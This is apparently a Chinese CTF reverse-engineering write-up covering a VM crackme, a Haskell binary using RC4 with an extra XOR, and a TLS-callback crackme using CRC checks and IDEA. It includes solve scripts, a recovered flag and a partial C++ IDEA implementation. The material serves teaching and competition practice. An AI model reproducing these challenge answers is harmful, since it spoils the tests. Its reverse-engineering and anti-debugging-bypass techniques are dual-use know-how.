print(f"enc[{b}] = (enc[{b}] + {hex(c)}) & 0xFF")
elif a == 2:
print(f"enc[{b}] = (enc[{b}] - {hex(c)}) & 0xFF")
elif a == 3:
print(f"enc[{b}] = (enc[{b}] * {hex(c)}) & 0xFF")
elif a == 4:
print(f"enc[{b}] = (enc[{b}] // {hex(c)}) & 0xFF")
elif a == 5:
print(f"enc[{b}] = (enc[{b}] % {hex(c)}) & 0xFF")
elif a == 6:
print(f"enc[{b}] = (enc[{b}] & {hex(c)}) & 0xFF")
elif a == 7:
print(f"enc[{b}] = (enc[{b}] | {hex(c)}) & 0xFF")
elif a == 8:
print(f"enc[{b}] = (enc[{b}] ^ {hex(c)}) & 0xFF")
else:
print(f"unknown opcode")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
enc[2] = (enc[2] - 0xc) & 0xFF
enc[26] = (enc[26] + 0x55) & 0xFF
enc[35] = (enc[35] + 0xc) & 0xFF
enc[14] = (enc[14] - 0x9) & 0xFF
enc[27] = (enc[27] + 0x6) & 0xFF
enc[6] = (enc[6] ^ 0x5) & 0xFF
enc[1] = (enc[1] ^ 0x5) & 0xFF
enc[27] = (enc[27] - 0xe) & 0xFF
enc[25] = (enc[25] - 0x3) & 0xFF
enc[26] = (enc[26] - 0x4) & 0xFF
enc[4] = (enc[4] ^ 0x8) & 0xFF
enc[3] = (enc[3] + 0xc) & 0xFF
enc[12] = (enc[12] - 0xa) & 0xFF
enc[37] = (enc[37] + 0x2) & 0xFF
enc[32] = (enc[32] + 0x2) & 0xFF
enc[9] = (enc[9] + 0xc) & 0xFF
enc[26] = (enc[26] ^ 0x5) & 0xFF
enc[4] = (enc[4] - 0xd) & 0xFF
enc[8] = (enc[8] ^ 0xf) & 0xFF
enc[10] = (enc[10] - 0xe) & 0xFF
enc[16] = (enc[16] + 0x7) & 0xFF
enc[12] = (enc[12] + 0x7) & 0xFF
enc[34] = (enc[34] ^ 0x8) & 0xFF
enc[21] = (enc[21] ^ 0xa) & 0xFF
enc[39] = (enc[39] + 0x7e) & 0xFF
enc[7] = (enc[7] - 0x2) & 0xFF
enc[15] = (enc[15] ^ 0x3) & 0xFF
enc[10] = (enc[10] ^ 0xa) & 0xFF
enc[34] = (enc[34] + 0xb) & 0xFF
enc[18] = (enc[18] - 0x8) & 0xFF
enc[25] = (enc[25] - 0x9) & 0xFF
enc[14] = (enc[14] ^ 0x6) & 0xFF
enc[0] = (enc[0] ^ 0x5) & 0xFF
enc[10] = (enc[10] + 0x8) & 0xFF
enc[27] = (enc[27] ^ 0x7) & 0xFF
enc[13] = (enc[13] ^ 0x6) & 0xFF
enc[13] = (enc[13] ^ 0x4) & 0xFF
enc[23] = (enc[23] ^ 0xc) & 0xFF
enc[34] = (enc[34] ^ 0xe) & 0xFF
enc[18] = (enc[18] - 0x34) & 0xFF
enc[38] = (enc[38] + 0x77) & 0xFF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# 逆向 sub_1000019B0 的 Python 实现

def undo_sub_1000019B0(transformed: list[int]) -> list[int]:
"""
给定经过 sub_1000019B0 变换后的 40 字节列表,恢复原始输入的 40 字节列表。
"""
if len(transformed) != 40:
raise ValueError("输入长度必须为 40 字节")

original = [0] * 40
# 每 4 字节一组,共 10 组
for n in range(10):
t0 = transformed[4 * n]
t1 = transformed[4 * n + 1]
t2 = transformed[4 * n + 2]
t3 = transformed[4 * n + 3]
# 反向重组位域
b0 = ((t3 & 0xF8) >> 3) | ((t2 & 0x07) << 5)
b1 = ((t0 & 0xF8) >> 3) | ((t3 & 0x07) << 5)
b2 = ((t1 & 0xF8) >> 3) | ((t0 & 0x07) << 5)
b3 = ((t2 & 0xF8) >> 3) | ((t1 & 0x07) << 5)
original[4 * n] = b0 & 0xFF
original[4 * n + 1] = b1 & 0xFF
original[4 * n + 2] = b2 & 0xFF
original[4 * n + 3] = b3 & 0xFF

return original


# 示例:对给定的密文做逆向恢复
enc = [0x4A, 0xAB, 0x9B, 0x1B, 0x61, 0xB1, 0xF3, 0x32, 0xD1, 0x8B,
0x73, 0xEB, 0xE9, 0x73, 0x6B, 0x22, 0x81, 0x83, 0x23, 0x31,
0xCB, 0x1B, 0x22, 0xFB, 0x25, 0xC2, 0x81, 0x81, 0x73, 0x22,
0xFA, 0x03, 0x9C, 0x4B, 0x5B, 0x49, 0x97, 0x87, 0xDB, 0x51]

enc = undo_sub_1000019B0(enc)
print("恢复前的数据:", enc)

ops = [
('sub', 2, 0xC), ('add', 26, 0x55), ('add', 35, 0xC), ('sub', 14, 0x9),
('add', 27, 0x6), ('xor', 6, 0x5), ('xor', 1, 0x5), ('sub', 27, 0xE),
('sub', 25, 0x3), ('sub', 26, 0x4), ('xor', 4, 0x8), ('add', 3, 0xC),
('sub', 12, 0xA), ('add', 37, 0x2), ('add', 32, 0x2), ('add', 9, 0xC),
('xor', 26, 0x5), ('sub', 4, 0xD), ('xor', 8, 0xF), ('sub', 10, 0xE),
('add', 16, 0x7), ('add', 12, 0x7), ('xor', 34, 0x8), ('xor', 21, 0xA),
('add', 39, 0x7E), ('sub', 7, 0x2), ('xor', 15, 0x3), ('xor', 10, 0xA),
('add', 34, 0xB), ('sub', 18, 0x8), ('sub', 25, 0x9), ('xor', 14, 0x6),
('xor', 0, 0x5), ('add', 10, 0x8), ('xor', 27, 0x7), ('xor', 13, 0x6),
('xor', 13, 0x4), ('xor', 23, 0xC), ('xor', 34, 0xE), ('sub', 18, 0x34),
('add', 38, 0x77)
]

# 4. 逆向 VM:倒序并做逆操作
for op, idx, val in reversed(ops):
if op == 'add':
enc[idx] = (enc[idx] - val) & 0xFF
elif op == 'sub':
enc[idx] = (enc[idx] + val) & 0xFF
elif op == 'xor':
enc[idx] ^= val

# 5. 输出恢复的原始输入
flag_bytes = bytes(enc)
print("Recovered input bytes:", enc)
print("As ASCII (可能包含非打印字符):", flag_bytes.decode('ascii', errors='replace'))

flag{L3@rn1ng_1n_0ld_sch00l_@nd_g3t_j0y}

Summer [复现]

交叉引用各种字符串,发现都没有引用

搜一下main函数,给GPT

这是一道 Haskell 编译后的程序(可能使用 GHC 编译器) 的逆向题。

函数名 作用
hs_main Haskell 程序的入口,初始化 runtime 系统并执行 main IO
Main_main_infoZCMain_main_info 是 GHC 编译生成的 “thunk” 信息指针,代表 Haskell 的 main 函数入口
rts_setMainThread 设置 main 线程处理器,和 top-level handler 有关

这些入口函数都是 runtime 的框架,还没真正进入你要分析的逻辑。Haskell 的主逻辑是懒执行的,在 runtime 执行 main thunk 的时候才真正发生

通常 GHC 会把 main = ... 编译成 ZCMain_main_closure,而 ZCMain_main_info 或类似的函数中会跳到真正逻辑。

要多关注info

image-20250423151510476

我们发现中间有一段红的汇编生成函数

image-20250423152649212

image-20250423152823686

image-20250423160105436

会发现这个长度方法会出现16,32的长度,猜测是密钥和密文

下面下断点

image-20250423161333147

跑三次才能到下个字符

image-20250423161540034

得到key:Klingsor’s_Last_Summer

看其它佬的wp说能发现Inkleqmp%q]Ncqv]Qwoogp,我找不到,不知道为啥

印证了下

1
2
3
4
key = 'Inkleqmp%q]Ncqv]Qwoogp'

for i in range(len(key)):
print(chr(ord(key[i]) ^ 2) ,end='')

确实是异或2

来自大佬的wp:

XYCTF_Reverse出题小记 - peace dawn’s personal blog

循环写入密钥,并且最后返回的长度是0xFF,我们可以联想到RC4的KSA过程,这里基本就可以确定是rc4的加密算法了,那么接下来是寻找密文的过程,通过搜索Haskell的惰性存储方式,了解到非字符串的数据是以惰性链表的形式存储的它的内存存储方式和 C 语言中的数组非常不同,不是连续的内存块,而是由链式结构组成。

每个节点保存两个指针:一个指向当前的数据值,一个指向下一个列表元素(即尾部)

那么我们已知密钥出现在data段,那么去data段寻找密文

image-20250423162828006

可以按G快速跳转到一个地址

image-20250423163359486

1
2
3
4
5
6
7
  0xec, 0xcf, 0xac, 0xf7, 0xe8, 0x48, 0x15, 0x64
, 0x93, 0x40, 0xcf, 0x6a, 0x86, 0x52, 0xfc, 0xcc
, 0xf6, 0x86, 0x7a, 0x0d, 0x0d, 0x99, 0xda, 0xbc
, 0x36, 0xbb, 0xbf, 0x32, 0x8d, 0x27, 0x5d, 0xe8
, 0xbd, 0x93, 0x35, 0x31, 0x96, 0xc2, 0x9b, 0x76
, 0x4e, 0x6f, 0x26, 0x37, 0xfe, 0xe3, 0xea, 0x85
, 0xe6, 0xd0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def initialize_key_schedule(key):
key_length = len(key)
sbox = list(range(256))
j = 0
for i in range(256):
j = (j + sbox[i] + key[i % key_length]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
return sbox

def generate_keystream(sbox):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + sbox[i]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
keystream_value = sbox[(sbox[i] + sbox[j]) % 256]
yield keystream_value

key = [ord(c) for c in 'Klingsor\'s_Last_Summer']
ciphertext = bytes.fromhex('eccfacf7e84815649340cf6a8652fcccf6867a0d0d99dabc36bbbf328d275de8bd93353196c29b764e6f2637fee3ea85e6d0')
sbox = initialize_key_schedule(key)
keystream_generator = generate_keystream(sbox)
plaintext = ""
for byte in ciphertext:
plaintext += chr(byte ^ 0x23^next(keystream_generator))
print(plaintext)

尝试用密文解密rc4发现仍然不对,但是稍微根据flag头思考一下就会发现解得的值跟密文差了xor 0x23,那么就能判断rc4之后还xor了0x23,当然直接动调单步跟也是可以的。

CrackMe [复现]

参考XYCTF2025 | Liv’s blog

本题用了ScycllaHide,这个插件想用在IDA 9.0上需要重新编译一下SDK,但是Liv师傅直接做好了响应适配,可以看看Liv师傅的Github仓库里,直接用就行

一开始以为动调以为逻辑在下面那个if,但是调不到,看了Liv师傅的博客才知道入口点在黄框那里,其实有个简便方法,就是本题的函数不多,可以直接看这些函数

image-20250423215941766

可以找到:sub_7FF7DA2CC850

image-20250423220200761

向上溯源下

最终溯源到

image-20250423220233903

是调用了TLS,从导出表我们也可以发现确实有TLS

最终找到一个可疑函数

sub_7FF7DA2CE7E0

这个函数发现switch分支语言,简单浏览下,发现大多数函数有什么dll,没什么实际信息,4和5分支感觉有信息,我们从下面开始看

image-20250423222012611

image-20250423222553670

继续看4

这段代码丢进GPT告诉我

初始化内存v5 初始化为多个固定值(可能为预定义的 CRC 检查值)。

计算 CRC32 表:从 v5[18] 开始填充 CRC32 表(这段是标准的 CRC32 表初始化算法)。

长度检查:如果传入结构体的第一个字段(偏移 4 字节处)小于 12,直接判定失败。

校验输入的字节内容

  • 从结构体偏移 8 字节位置读取一个指针,取它后面第 5 到 11 字节(共 7 字节),每个字节先异或 0x79,再加上 18 得到 v5 的索引。
  • 把该值做 bitwise XOR 与 0xB0E0E879,再与 v5[0~6] 做比对。
  • 如果任意不等,就设置 v6 = 1,意味着校验失败。
1
2
3
4
5
6
7
8
for ( m = 0LL; m < 7; ++m )
{
if ( (~v5[(*(_BYTE *)(*(_QWORD *)(a1 + 8) + m + 5) ^ 0x79) + 18] ^ 0xB0E0E879) != v5[m] )
{
v6 = 1;
break;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import ida_bytes

# 起始地址:v5[18] 在栈中的地址
start_addr = 0x0000000F8E7FEF58

# 要读取的 DWORD 数量:从 v5[18] 到 v5[273],共 256 项
count = 275

# 存储读取结果
v5_crc_table = []

for i in range(count):
addr = start_addr + i * 4
value = ida_bytes.get_dword(addr)
v5_crc_table.append(value)

# 输出为十六进制列表格式
print('[{}]'.format(', '.join(f'0x{v:08X}' for v in v5_crc_table)))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
enc = [0xDD,0xD7,0xDA,0xDC,0xC0]

for i in range(len(enc)):
print(chr(enc[i] ^ 0xBB),end='')

from itertools import product

# 原始目标 CRC 值(v5[0..6])
tavle =[0x46A95BAD, 0x1CAC84B6, 0xA67CB2B2, 0x32188937, 0x4872D39F, 0xF2A2E59B, 0x011B94D2, 0xCCCCCCCC, 0xCCCCCCCC, 0xCCCCCCCC, 0xCCCCCCCC, 0xCCCCCCCC, 0xCCCCCCCC, 0xCCCCCCCC, 0xCCCCCCCC, 0xCCCCCCCC, 0xCCCCCCCC, 0xCCCCCCCC, 0x00000000, 0xC0BA6CAC, 0x5A05DF1B, 0x9ABFB3B7, 0xB40BBE36, 0x74B1D29A, 0xEE0E612D, 0x2EB40D81, 0xB3667A2F, 0x73DC1683, 0xE963A534, 0x29D9C998, 0x076DC419, 0xC7D7A8B5, 0x5D681B02, 0x9DD277AE, 0xBDBDF21D, 0x7D079EB1, 0xE7B82D06, 0x270241AA, 0x09B64C2B, 0xC90C2087, 0x53B39330, 0x9309FF9C, 0x0EDB8832, 0xCE61E49E, 0x54DE5729, 0x94643B85, 0xBAD03604, 0x7A6A5AA8, 0xE0D5E91F, 0x206F85B3, 0xA00AE279, 0x60B08ED5, 0xFA0F3D62, 0x3AB551CE, 0x14015C4F, 0xD4BB30E3, 0x4E048354, 0x8EBEEFF8, 0x136C9856, 0xD3D6F4FA, 0x4969474D, 0x89D32BE1, 0xA7672660, 0x67DD4ACC, 0xFD62F97B, 0x3DD895D7, 0x1DB71064, 0xDD0D7CC8, 0x47B2CF7F, 0x8708A3D3, 0xA9BCAE52, 0x6906C2FE, 0xF3B97149, 0x33031DE5, 0xAED16A4B, 0x6E6B06E7, 0xF4D4B550, 0x346ED9FC, 0x1ADAD47D, 0xDA60B8D1, 0x40DF0B66, 0x806567CA, 0x9B64C2B1, 0x5BDEAE1D, 0xC1611DAA, 0x01DB7106, 0x2F6F7C87, 0xEFD5102B, 0x756AA39C, 0xB5D0CF30, 0x2802B89E, 0xE8B8D432, 0x72076785, 0xB2BD0B29, 0x9C0906A8, 0x5CB36A04, 0xC60CD9B3, 0x06B6B51F, 0x26D930AC, 0xE6635C00, 0x7CDCEFB7, 0xBC66831B, 0x92D28E9A, 0x5268E236, 0xC8D75181, 0x086D3D2D, 0x95BF4A83, 0x5505262F, 0xCFBA9598, 0x0F00F934, 0x21B4F4B5, 0xE10E9819, 0x7BB12BAE, 0xBB0B4702, 0x3B6E20C8, 0xFBD44C64, 0x616BFFD3, 0xA1D1937F, 0x8F659EFE, 0x4FDFF252, 0xD56041E5, 0x15DA2D49, 0x88085AE7, 0x48B2364B, 0xD20D85FC, 0x12B7E950, 0x3C03E4D1, 0xFCB9887D, 0x66063BCA, 0xA6BC5766, 0x86D3D2D5, 0x4669BE79, 0xDCD60DCE, 0x1C6C6162, 0x32D86CE3, 0xF262004F, 0x68DDB3F8, 0xA867DF54, 0x35B5A8FA, 0xF50FC456, 0x6FB077E1, 0xAF0A1B4D, 0x81BE16CC, 0x41047A60, 0xDBBBC9D7, 0x1B01A57B, 0xEDB88321, 0x2D02EF8D, 0xB7BD5C3A, 0x77073096, 0x59B33D17, 0x990951BB, 0x03B6E20C, 0xC30C8EA0, 0x5EDEF90E, 0x9E6495A2, 0x04DB2615, 0xC4614AB9, 0xEAD54738, 0x2A6F2B94, 0xB0D09823, 0x706AF48F, 0x5005713C, 0x90BF1D90, 0x0A00AE27, 0xCABAC28B, 0xE40ECF0A, 0x24B4A3A6, 0xBE0B1011, 0x7EB17CBD, 0xE3630B13, 0x23D967BF, 0xB966D408, 0x79DCB8A4, 0x5768B525, 0x97D2D989, 0x0D6D6A3E, 0xCDD70692, 0x4DB26158, 0x8D080DF4, 0x17B7BE43, 0xD70DD2EF, 0xF9B9DF6E, 0x3903B3C2, 0xA3BC0075, 0x63066CD9, 0xFED41B77, 0x3E6E77DB, 0xA4D1C46C, 0x646BA8C0, 0x4ADFA541, 0x8A65C9ED, 0x10DA7A5A, 0xD06016F6, 0xF00F9345, 0x30B5FFE9, 0xAA0A4C5E, 0x6AB020F2, 0x44042D73, 0x84BE41DF, 0x1E01F268, 0xDEBB9EC4, 0x4369E96A, 0x83D385C6, 0x196C3671, 0xD9D65ADD, 0xF762575C, 0x37D83BF0, 0xAD678847, 0x6DDDE4EB, 0x76DC4190, 0xB6662D3C, 0x2CD99E8B, 0xEC63F227, 0xC2D7FFA6, 0x026D930A, 0x98D220BD, 0x58684C11, 0xC5BA3BBF, 0x05005713, 0x9FBFE4A4, 0x5F058808, 0x71B18589, 0xB10BE925, 0x2BB45A92, 0xEB0E363E, 0xCB61B38D, 0x0BDBDF21, 0x91646C96, 0x51DE003A, 0x7F6A0DBB, 0xBFD06117, 0x256FD2A0, 0xE5D5BE0C, 0x7807C9A2, 0xB8BDA50E, 0x220216B9, 0xE2B87A15, 0xCC0C7794, 0x0CB61B38, 0x9609A88F, 0x56B3C423, 0xD6D6A3E9, 0x166CCF45, 0x8CD37CF2, 0x4C69105E, 0x62DD1DDF, 0xA2677173, 0x38D8C2C4, 0xF862AE68, 0x65B0D9C6, 0xA50AB56A, 0x3FB506DD, 0xFF0F6A71, 0xD1BB67F0, 0x11010B5C, 0x8BBEB8EB, 0x4B04D447, 0x6B6B51F4, 0xABD13D58, 0x316E8EEF, 0xF1D4E243, 0xDF60EFC2, 0x1FDA836E, 0x856530D9, 0x45DF5C75, 0xD80D2BDB, 0x18B74777, 0x8208F4C0, 0x42B2986C, 0x6C0695ED, 0xACBCF941, 0x36034AF6, 0xF6B9265A, 0xCCCCCCCC]

def check_candidate(candidate):
for i in range(7):
index = (candidate[i] ^ 0x79) + 18
val = (~tavle[index] & 0xFFFFFFFF) ^ 0xB0E0E879
if val != v5_known[i]:
return False
return True

v5_known = [
0x46A95BAD, 0x1CAC84B6, 0xA67CB2B2,
0x32188937, 0x4872D39F, 0xF2A2E59B, 0x11B94D2
]

result = []

for i in range(7):
found = False
for c in range(28, 132): # 可调范围
idx = (c ^ 0x79) + 18
val = (~tavle[idx] & 0xFFFFFFFF) ^ 0xB0E0E879
if val == v5_known[i]:
result.append(c)
found = True
break
if not found:
print(f"[-] No match for index {i}")

print("Recovered bytes:", bytes(result))

得到前七个字符为:moshui_

再往上就是case0中有一段代码,第三次Check是在case 0处,程序起始的时候启了一个线程,死循环然后这边判断前两次Check是否成功,然后进入最后一次Check代码。(不知道怎么看出来的启了一个线程,还是太菜了)

加密逻辑在sub_7FF707C61500里

是个IDEA加密

解密模板:

idea加密解密C++实现_idea解密算法c代码实现-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
#include<iostream>
#include<bitset>
#include<math.h>
using namespace std;
typedef bitset<16> code; //16位
typedef bitset<128> key; //128位秘钥

bitset<16> sub_key[52]; //52个子秘钥
bitset<16> inv_sub_key[52];//52个逆子秘钥
bitset<64> plaint_txt;

//异或运算
code XOR(code code_1, code code_2)
{
return code_1 ^ code_2;
}

//加法运算
code Plus(code code_1, code code_2)
{
int tmp = 0;
code result;
for (int i = 0; i < 16; i++) //二进制转换成十进制
{
tmp += code_1[i] * pow(2, i) + code_2[i] * pow(2, i);
}
tmp %= 65536;
bitset<16>binary(tmp); //转换成二进制
for (int i = 0; i < 16; i++)
result[i] = binary[i];

return result;
}

//逆加法
code invPlus(code code_in)
{
int tmp = 0;
code result;
for (int i = 0; i < 16; i++) //二进制转换成十进制
tmp += code_in[i] * pow(2, i);
tmp = 65536 - tmp;
bitset<16>binary(tmp); //转换成二进制
for (int i = 0; i < 16; i++)
result[i] = binary[i];

return result;

}
//乘法运算
code Times(code code_1, code code_2)
{
code result;
long long tmp;
long long tmp_1 = 0, tmp_2 = 0;
for (int i = 0; i < 16; i++) //二进制转换成十进制
{
tmp_1 += code_1[i] * pow(2, i);
tmp_2 += code_2[i] * pow(2, i);
}
if (code_1 == 0)
tmp_1 = 65536;
if (code_2 == 0)
tmp_2 = 65536;

tmp = (tmp_1 * tmp_2) % 65537;
if (tmp == 65536) //如果得到最大值即等价于0x0000
result = 0x0000;
else
{
bitset<16>binary(tmp); //转换成二进制
for (int i = 0; i < 16; i++)
result[i] = binary[i];
}
return result;
}

void Exgcd(int a, int b, int& x, int& y) //欧几里得扩展算法
{
if (!b)
x = 1, y = 0;
else
Exgcd(b, a % b, y, x), y -= a / b * x;
}
//利用欧几里得扩展算法求乘法的逆
code invTimes(code code_in)
{
code result;
int tmp = 0;
for (int i = 0; i < 16; i++) //首先转换成十进制
tmp += code_in[i] * pow(2, i);

int x, y;
int p = 65537;
Exgcd(tmp, p, x, y);
x = (x % p + p) % p; //x即为tmp在 (mod65537) 的乘法逆
bitset<16>binary(x); //转换成二进制
for (int j = 0; j < 16; j++)
result[j] = binary[j];

return result;
}
//子秘钥生成
void subkeys_get(code keys_input[8])//输入8个16bit组
{
key keys;
for (int i = 0; i < 8; i++) //转化成128位
{
for (int j = 0; j < 16; j++)
{
keys[j + 16 * i] = keys_input[7 - i][j];
}
}
for (int i = 0; i < 8; i++) //前8个子秘钥(不移动)
{
for (int j = 0; j < 16; j++)
sub_key[i][15 - j] = keys[127 - (j + 16 * i)];
}
for (int i = 0; i < 5; i++) //中间40个子秘钥()每次循环左移25位
{
key tmp_keys = keys >> 103;
keys = (keys << 25) | (tmp_keys);
for (int j = (8 + 8 * i); j < (8 * (i + 2)); j++)
{
for (int k = 0; k < 16; k++)
sub_key[j][15 - k] = keys[127 - (k + 16 * (j - 8 - 8 * i))];
}
}
key tmp_keys = keys >> 103; //最后一次循环左移取前四个
keys = (keys << 25) | (tmp_keys);
for (int i = 48; i < 52; i++)
{
for (int j = 0; j < 16; j++)
sub_key[i][15 - j] = keys[127 - (j + 16 * (i - 48))];
}
}
void inv_subkeys_get(code sub_key[52]) //将52个子秘钥调用
{
//生成逆子秘钥
for (int i = 6; i < 48; i = i + 6) //U_1, U_2, U_3, U_4 (2 <= i <= 8)
{
inv_sub_key[i] = invTimes(sub_key[48 - i]);
inv_sub_key[i + 1] = invPlus(sub_key[50 - i]);
inv_sub_key[i + 2] = invPlus(sub_key[49 - i]);
inv_sub_key[i + 3] = invTimes(sub_key[51 - i]);
}
for (int i = 0; i < 48; i = i + 6) //U_5, U_6 (1 <= i <= 8)
{
inv_sub_key[i + 4] = sub_key[46 - i];
inv_sub_key[i + 5] = sub_key[47 - i];
}
//U_1, U_2, U_3, U_4 (i = 1, 9)
inv_sub_key[0] = invTimes(sub_key[48]);
inv_sub_key[1] = invPlus(sub_key[49]);
inv_sub_key[2] = invPlus(sub_key[50]);
inv_sub_key[3] = invTimes(sub_key[51]);

inv_sub_key[48] = invTimes(sub_key[0]);
inv_sub_key[49] = invPlus(sub_key[1]);
inv_sub_key[50] = invPlus(sub_key[2]);
inv_sub_key[51] = invTimes(sub_key[3]);

}
//加密
bitset<64> encrypt(bitset<64> plaint)
{
bitset<16> I_1, I_2, I_3, I_4;
bitset<64> cipher;
for (int i = 0; i < 16; i++) //明文分成4个16位(I_1, I_2, I_3, I_4)
{
I_1[15 - i] = plaint[63 - i];
I_2[15 - i] = plaint[47 - i];
I_3[15 - i] = plaint[31 - i];
I_4[15 - i] = plaint[15 - i];
}
for (int i = 0; i < 48; i = i + 6) //轮结构运算
{
bitset<16> tmp_1 = Times(sub_key[i], I_1);
bitset<16> tmp_2 = Plus(sub_key[i + 1], I_2);
bitset<16> tmp_3 = Plus(sub_key[i + 2], I_3);
bitset<16> tmp_4 = Times(sub_key[i + 3], I_4);
bitset<16> tmp_5 = XOR(tmp_1, tmp_3);
bitset<16> tmp_6 = XOR(tmp_2, tmp_4);
bitset<16> tmp_7 = Times(sub_key[i + 4], tmp_5);
bitset<16> tmp_8 = Plus(tmp_6, tmp_7);
bitset<16> tmp_9 = Times(tmp_8, sub_key[i + 5]);
bitset<16> tmp_10 = Plus(tmp_7, tmp_9);
I_1 = XOR(tmp_1, tmp_9);
I_2 = XOR(tmp_3, tmp_9);
I_3 = XOR(tmp_2, tmp_10);
I_4 = XOR(tmp_4, tmp_10);
}
//输出变换
bitset<16> Y_1 = Times(I_1, sub_key[48]);
bitset<16> Y_2 = Plus(I_3, sub_key[49]);
bitset<16> Y_3 = Plus(I_2, sub_key[50]);
bitset<16> Y_4 = Times(I_4, sub_key[51]);

for (int i = 0; i < 16; i++) //整合4个输出成密文
{
cipher[i] = Y_4[i];
cipher[i + 16] = Y_3[i];
cipher[i + 32] = Y_2[i];
cipher[i + 48] = Y_1[i];
}
return cipher;
}
//解密(过程与加密一致,子秘钥变成逆子秘钥)
bitset<64> dencrypt(bitset<64> cipher)
{

//解密
bitset<16> I_1, I_2, I_3, I_4;
bitset<64> plaint;
for (int i = 0; i < 16; i++)
{
I_1[15 - i] = cipher[63 - i];
I_2[15 - i] = cipher[47 - i];
I_3[15 - i] = cipher[31 - i];
I_4[i] = cipher[i];
}
for (int i = 0; i < 48; i = i + 6)
{
bitset<16> tmp_1 = Times(inv_sub_key[i], I_1);
bitset<16> tmp_2 = Plus(inv_sub_key[i + 1], I_2);
bitset<16> tmp_3 = Plus(inv_sub_key[i + 2], I_3);
bitset<16> tmp_4 = Times(inv_sub_key[i + 3], I_4);
bitset<16> tmp_5 = XOR(tmp_1, tmp_3);
bitset<16> tmp_6 = XOR(tmp_2, tmp_4);
bitset<16> tmp_7 = Times(inv_sub_key[i + 4], tmp_5);
bitset<16> tmp_8 = Plus(tmp_6, tmp_7);
bitset<16> tmp_9 = Times(tmp_8, inv_sub_key[i + 5]);
bitset<16> tmp_10 = Plus(tmp_7, tmp_9);
I_1 = XOR(tmp_1, tmp_9);
I_2 = XOR(tmp_3, tmp_9);
I_3 = XOR(tmp_2, tmp_10);
I_4 = XOR(tmp_4, tmp_10);
}
bitset<16> Y_1 = Times(I_1, inv_sub_key[48]);
bitset<16> Y_2 = Plus(I_3, inv_sub_key[49]);
bitset<16> Y_3 = Plus(I_2, inv_sub_key[50]);
bitset<16> Y_4 = Times(I_4, inv_sub_key[51]);

for (int i = 0; i < 16; i++)
{
plaint[i] = Y_4[i];
plaint[i + 16] = Y_3[i];
plaint[i + 32] = Y_2[i];
plaint[i + 48] = Y_1[i];
}
return plaint;

}
int main()
{
plaint_txt = 0xa6224adf2f28df73;//64位明文
//plaint_txt = 0xa795 8723 1f2c 6d73 ;
cout << "明文:" << endl << plaint_txt << endl;
code keys_input[8] = { 0x151a, 0x048b, 0x71a1, 0xf9c7, 0x5266, 0xbfd6, 0x24a2, 0xdff1 };//128位秘钥

subkeys_get(keys_input); //生成子秘钥
inv_subkeys_get(sub_key);//生成逆子秘钥

bitset<64> cipher = encrypt(plaint_txt); //加密得到密文cipher
cout << "加密得到的密文为:" << endl << cipher << endl;

bitset<64> plaint = dencrypt(cipher); //解密得到明文plaint
cout << "解密得到:" << endl << plaint << endl;

return 0;
}

image-20250423234543649

其实密钥经过变换应该是下面这样

image-20250430161632367

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#include <iostream>
#include <bitset>
#include <cmath>
#include <windows.h>
#include <algorithm>
using namespace std;

typedef bitset<16> code;
typedef bitset<128> key;

bitset<16> sub_key[52];
bitset<16> inv_sub_key[52];

code XOR(code code_1, code code_2)
{
return code_1 ^ code_2;
}

code Plus(code code_1, code code_2)
{
int tmp = 0;
for (int i = 0; i < 16; i++)
{
tmp += code_1[i] * pow(2, i) + code_2[i] * pow(2, i);
}
tmp %= 65536;
return bitset<16>(tmp);
}

code invPlus(code code_in)
{
int tmp = 0;
for (int i = 0; i < 16; i++)
tmp += code_in[i] * pow(2, i);
tmp = 65536 - tmp;
return bitset<16>(tmp);
}

code Times(code code_1, code code_2)
{
long long tmp_1 = 0, tmp_2 = 0;
for (int i = 0; i < 16; i++)
{
tmp_1 += code_1[i] * pow(2, i);
